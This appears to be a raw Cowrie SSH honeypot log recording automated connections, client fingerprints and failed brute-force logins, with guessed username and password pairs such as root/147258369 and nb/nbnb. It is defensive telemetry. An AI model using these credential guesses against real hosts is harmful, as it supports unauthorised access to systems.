{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:41.647434Z","src_ip":"4.227.177.11","session":"47604ab7b33d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nadmin","password":"nadmin","message":"login attempt [nadmin/nadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:41.721999Z","src_ip":"4.227.177.11","session":"47604ab7b33d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:42.736527Z","src_ip":"4.227.177.11","session":"47604ab7b33d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":55410,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5281b4e4329","protocol":"ssh","message":"New connection: 43.156.170.155:55410 (10.17.0.5:22) [session: e5281b4e4329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:50.622384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:50.627807Z","src_ip":"43.156.170.155","session":"e5281b4e4329","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:50.873414Z","src_ip":"43.156.170.155","session":"e5281b4e4329","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":49362,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d7ad66b6434","protocol":"ssh","message":"New connection: 165.154.5.173:49362 (10.17.0.5:22) [session: 3d7ad66b6434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:51.187550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:51.192069Z","src_ip":"165.154.5.173","session":"3d7ad66b6434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:51.410774Z","src_ip":"165.154.5.173","session":"3d7ad66b6434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258369","message":"login attempt [root/147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:51.887597Z","src_ip":"43.156.170.155","session":"e5281b4e4329","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4t5y6u7i8o9p0","message":"login attempt [root/Q1w2e3r4t5y6u7i8o9p0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:52.316233Z","src_ip":"165.154.5.173","session":"3d7ad66b6434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:53.135949Z","src_ip":"43.156.170.155","session":"e5281b4e4329","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:53.538316Z","src_ip":"165.154.5.173","session":"3d7ad66b6434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":51502,"dst_ip":"10.17.0.5","dst_port":22,"session":"119bb2160ff3","protocol":"ssh","message":"New connection: 41.181.156.205:51502 (10.17.0.5:22) [session: 119bb2160ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:59.810221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:27:59.814973Z","src_ip":"41.181.156.205","session":"119bb2160ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:00.092935Z","src_ip":"41.181.156.205","session":"119bb2160ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmp","password":"123","message":"login attempt [tmp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:01.150124Z","src_ip":"41.181.156.205","session":"119bb2160ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:02.398450Z","src_ip":"41.181.156.205","session":"119bb2160ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":53650,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1a1a2e56385","protocol":"ssh","message":"New connection: 37.233.85.71:53650 (159.203.135.109:22) [session: a1a1a2e56385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:05.826022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:05.832918Z","src_ip":"37.233.85.71","session":"a1a1a2e56385","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:05.939136Z","src_ip":"37.233.85.71","session":"a1a1a2e56385","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121314q","message":"login attempt [root/121314q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:06.419560Z","src_ip":"37.233.85.71","session":"a1a1a2e56385","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:07.528018Z","src_ip":"37.233.85.71","session":"a1a1a2e56385","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42838,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea9cefadbf13","protocol":"ssh","message":"New connection: 103.176.20.57:42838 (10.17.0.5:22) [session: ea9cefadbf13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:08.118675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:08.123974Z","src_ip":"103.176.20.57","session":"ea9cefadbf13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:08.374547Z","src_ip":"103.176.20.57","session":"ea9cefadbf13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"251289","message":"login attempt [root/251289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:09.126805Z","src_ip":"103.176.20.57","session":"ea9cefadbf13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:10.380390Z","src_ip":"103.176.20.57","session":"ea9cefadbf13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45438,"dst_ip":"10.17.0.5","dst_port":22,"session":"490886620682","protocol":"ssh","message":"New connection: 89.144.214.214:45438 (10.17.0.5:22) [session: 490886620682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:10.730809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:10.735653Z","src_ip":"89.144.214.214","session":"490886620682","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:10.866602Z","src_ip":"89.144.214.214","session":"490886620682","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nb","password":"nbnb","message":"login attempt [nb/nbnb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:11.422865Z","src_ip":"89.144.214.214","session":"490886620682","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:12.561338Z","src_ip":"89.144.214.214","session":"490886620682","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":33048,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a822c6347c","protocol":"ssh","message":"New connection: 46.253.45.10:33048 (10.17.0.5:22) [session: 54a822c6347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:57.259381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:57.263411Z","src_ip":"46.253.45.10","session":"54a822c6347c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:57.388485Z","src_ip":"46.253.45.10","session":"54a822c6347c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nb","password":"nbnb","message":"login attempt [nb/nbnb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:57.916575Z","src_ip":"46.253.45.10","session":"54a822c6347c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:28:59.044128Z","src_ip":"46.253.45.10","session":"54a822c6347c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56128,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd13b136d813","protocol":"ssh","message":"New connection: 89.108.118.91:56128 (159.203.135.109:22) [session: dd13b136d813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:04.688336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:04.693611Z","src_ip":"89.108.118.91","session":"dd13b136d813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:29:04.818923Z","src_ip":"89.108.118.91","session":"dd13b136d813","protocol":"ssh"}
